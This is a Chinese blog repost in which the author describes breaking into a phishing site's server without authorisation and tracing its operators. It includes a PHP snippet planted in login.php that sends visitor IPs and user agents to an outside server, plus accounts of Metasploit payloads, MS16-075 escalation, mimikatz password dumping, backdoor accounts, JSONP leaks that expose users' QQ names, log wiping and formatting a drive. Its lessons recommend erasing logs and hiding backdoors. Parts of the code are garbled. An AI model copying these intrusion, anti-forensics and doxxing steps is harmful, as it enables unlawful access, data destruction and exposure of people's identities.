歡迎光臨
每天分享高質量文章

由小小姐炫耀引起的一次釣魚網站入侵併溯源

來自:信安之路(微信號:xazlsec)

本文作者:drivertom

原文地址:http://drivertom.blogspot.com/2019/03/blog-post_16.html

本文所寫的內容基本真實,但有些滲透溯源的過程為了描述的精簡被修改刪除。一些無關緊要的事情也被略去,但對滲透至關重要的大思路和小細節我都沒放過。同時在滲透的時候我沒有留下截圖,很多圖是我後來補上的。

0x01 引子

事情要從一周前說起。

深夜,寢室,我照例空虛寂寞百無聊賴地刷群。

突然看到  D小姐姐 在群裡面說她用了 N 執行緒給釣魚網站交了大量垃圾信息,最後卡爆了服務器,頗為得意。

當晚我正好閑著沒事,就決定小小地得罪一下這個釣魚網站,故事就這樣開始了

0x02 入侵

首先是基礎的信息搜集,但是當我查詢 whois 和微步在線之後卻沒有任何結果,顯示的是這些註冊信息被保護了,毫無結果。最後只知道同一臺服務器上運行 了很多相同的釣魚站。

好在 D小姐姐 的垃圾資料並沒有給服務器造成太大影響,很快服務器就恢復了並顯示如下界面

現在的釣魚網站的製作者都很良心,界面弄得跟官方的非常相似,可不像當年那些隨便畫個框框就等著要密碼的,畢竟時代在進步嘛。但這也不是完美的,密碼那裡弄成小寫 qq 的了。

翻看釣魚網址 :

http://timea.icu/Ru_op/newwap.html

的原始碼,我們可以看到作者用了 document.write(unescape(' 來掩飾網頁原始碼,應該是用來防止被基於關鍵字攔截的防詐騙軟體攔截?

而且網頁裡面還取用了個有趣的 JS

window.onload=function() {
    var date_time='2019-4-2 18:00:59';
   
   var time=Date.parse(newDate());
   var date1=Date.parse(newDate(date_time.replace(/-/g'/')));
   if(date1<time) {
       top.location.href='/expire.html';
  };
  $('#expire-time').html(date_time);
};

大概就是一段時間後這個網站就 “expire” 掉了,而 expire.html 長這個樣子。

這應該說明這個網站不是釣魚者自己做的而是花錢買來的。現在不愧是社會主義市場經濟啊,這些搞黑產的已經弄成一個產業鏈了,有的人負責做網站有的人負責騙,分工明確各司其職高效工作呢。

接著在檢查沒有 WAF 後就在登錄處攔截 POST 包,扔到 sqlmap 裡面註入

果真毫無意外地失敗了。這年頭,連釣魚站都這麼安全了。

我再用 Burp 掃了下路徑,發現了幾個有趣的路徑。

這是我剛剛補的圖,本來這些路徑裡面還有 phpmyadmin 的但是在後來管理員換了路徑所以現在沒了。我先嘗試了 phpmyadmin 的弱密碼,但是失敗了,轉去看別的路徑

最有趣的是在 /membe r路徑中

沒想到這一個簡簡單單的釣魚站需要用到一個 DedeCMS ?

我就順手下了個 DedeCMS 的原始碼看看,發現後臺路徑 /dede,點進去居然有,而且直接用 admin/admin 就登錄了!

後臺別有洞天,皮膚比 Dede 官方的不知道好看到哪裡去。如果 Dede 官方有人看到這個心裡一定會很慚愧吧。後臺還可以看到各種釣魚資料,由於暫時它的後臺出了些毛病我就不截圖了。

不過不管這麼說這隻是套了層皮而已,內核還是 DedeCMS,我就在 SecWIKI 的 CMS Hunter 搜了個 DedeCMS 後臺提權漏洞 《DedeCMS V5.7 SP2後臺存在代碼執行漏洞》:

https://github.com/SecWiki/CMS-Hunter/tree/master/DedeCMS/DedeCMS%20V5.7%20SP2%E5%90%8E%E5%8F%B0%E5%AD%98%E5%9C%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E

,就成功 getshell 了

0x02 第一次不正經溯源

是時候把釣魚者的IP弄出來了!

想想釣魚者會怎麼訪問?當然是訪問後臺了!於是我在後臺的 login.php 加上瞭如下代碼來記錄 IP

//檢測安裝目錄完整性
function Check($url)
{
      $ch=curl_init();
      curl_setopt$chCURLOPT_URL$url);
      curl_setopt$chCURLOPT_RETURNTRANSFER1);
      curl_setopt$chCURLOPT_CUSTOMREQUEST'GET');
      curl_setopt$chCURLOPT_TIMEOUT60);
      $result=curl_exec$ch);
      curl_close$ch);
      return $result;
}
$url="http://...:/message.php?info=Another%20";
$info=urlencode((string)$_SERVER['REMOTE_ADDR'].(string)$_SERVER['HTTP_USER_AGENT']);
Check($url.$info);

其中這個接收的服務器是拿S神的服務器乾的,他為了檢測菜刀流量的行為專門搭建了個服務器供我們去日。

這樣我在服務器上面訪問/就可以看到 IP 了

可惜似乎我高興得太早,一天下去發現登過這個後臺的人遍佈全國各地,估計是全國各地都有正義黑客想要乾這個網站吧,但這樣攻擊者的 IP 就被藏起來了

看來我需要提權,進入服務器,拿到更多東西!

0x03 提權

在提權之前我還幹了個事情,就是儲存整站原始碼以查找關鍵信息免得一會萬一動靜太大或者搞崩服務器導致驚動管理員權限丟失我好歹能留點紀念品。

進入 webshell 發現命令執行的函式都被禁止了,首先要解決命令執行的問題。許多人認為命令執行函式被禁止就高枕無憂 了,但接下來的事情證明這是錯的。

禁止命令執行函式無非就是在 php.ini 裡面設置 disable_functions,當我的 shell 能夠修改這個 php.ini  的時候,這個所謂的防護就變得沒有意義了。

執行 whoami 命令發現權限只有 iis apppoolwww。這個權限低的難以忍受,我得想辦法提權。我祭出了提權後滲透大殺器 Metasploit

上傳用 msf 生成的木馬,自己的服務器再配置好監聽,webshell 執行,成功獲取 meterpreter 會話!之後一記 Ms16-075 漏洞拿到 system 權限!

0x04 第二次正經的溯源

在拿到服務器權限後,我用 mimikatz 拿到了管理員明文密碼

但是保險起見我還是先新建一個用戶(就是上圖的 360safe),免得到時候登上去把管理員擠下去的尷尬狀況

然後用一個命令把遠程桌面的端口查出來

C:Windowssystem32>regquery"hklmSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"/v"PortNumber"
regquery"hklmSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"/v"PortNumber"

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcp
   PortNumber   REG_DWORD   0x58d4

最後成功登錄遠程桌面!

登錄遠程桌面後我發現電腦上幾乎沒裝什麼軟體,除了個寶塔外就沒有別的了

我先搜集了 Windows 日誌,在日誌中我發現了一些的東西

首先呢,非常不幸,我在最開始用 msf 提權的時候清理了日誌,這是我的大失誤,導致 3 月 10 日之前的日誌都沒了。但是不幸中的萬幸是,殘存的日誌足矣幫助我們找到攻擊者的一些信息。

這個攻擊者的電腦名字叫做“阿洲”,聽起來像是港台片裡面的黑社會,IP 地址

拿到了兩個,一個是 119.85.162.18(中國重慶重慶合川區龍湖美岸(住宅小區)(可信度:99))

還有一個是 119.85.166.235(中國 重慶 重慶 合川區)成功定位!

服務器上還裝有寶塔,由於我並不知道寶塔的密碼,就直接修改了裡面的 php 檔案,把密碼判定那裡修改了下邏輯,這樣只要我的用戶名是 360safe 就能(是的,我有一次借刀 360)登錄。

在登陸後我看到後臺日誌,有看到了一個 IP:119.85.164.184 (中國重慶重慶合川區美綠居·翡翠名苑(住宅小區)(可信度:99))應該是同一個人

同時後臺還告訴我C盤有個 HTTP 日誌記錄,我迅速下下來,有一次發現了重慶的 IP 地址訪問了 /install 頁面。

還看到了他用的瀏覽器是 Windows8.1 用的是 Chrome 瀏覽器,這個儘管與我之前頁面釣到的 UA 不一樣,但由於都是 win8.1 這樣較為少見的系統,故判定為同一個人

另一方面我還發現了另一個廣東的 IP: 117.136.39.239(基站IP)疑似同伙,他使用 2345 瀏覽器和 windows7 系統,第一次訪問這個系統就直接訪問 /dede,並且經常在後臺發送 POST 包。

除了這些信息之外我就獲取不了別的信息了。

0x05 使用了 0day 的不完全溯源

後來某一天課上完的時候,我問了老師業界大牛Dr,大牛告訴我可以挖下訊邊緣業務的 JSONP 漏洞來泄漏攻擊者的 QQ。

在嘗試了好幾個小時之後,我只挖到了訊的某個能夠泄漏用戶名的 JSONP 和度能夠泄漏部分用戶名的 JSONP 漏洞,我很快將這個漏洞寫成利用腳本,在除錯後部署上去得到廣東同伙的 QQ 名字“龍騰九天”和“怪獸”

0x06 格盤跑路

由於我實在沒有更多時間和他們耗,再耗下去我就要掛科了,決定直接破壞造成精神打擊!

關你的服務!

格你的D 盤!

改你的桌面!

(美中不足的是微博二字打錯了)

(附註:髒話僅用於玩梗,並不代表作者本人平時的素質,我的朋友們都可以作證)

沒有截圖的是我清理日誌的部分,這一部分我是做了的只是沒有截圖,希望各位在做相同事情的時候註意個人保護

0x07 總結

一些需要註意的滲透細節:

1、在滲透的時候如果能修改 php.ini 就可以突破 PHP 禁止執行高危函式造成的命令不可執行。搞 IPS 的時候可以禁止 PHP 修改敏感檔案來進行初步防護

2、掃目錄挺有用的

3、不管是哪種取證,系統日誌都是很重要的突破口。同時防取證得刪掉日誌

4、Windows Server 密碼複雜度有要求,滲透時賬戶創建失敗可能是密碼不夠複雜

不足之處:

1、文中內容是精簡過的。整個戰線托的太長。要積累經驗

2、留後門留得太明顯,應該留到網站原有的檔案里去,最好是分佈在多個檔案來免殺

3、得積累 JSONP 漏洞,不要像我這樣現挖。我都在考慮寫一個掃描 JSONP 漏洞的插件了

4、得積累一些針對國內軟體(如寶塔)的信息搜集工

    赞(0)

    分享創造快樂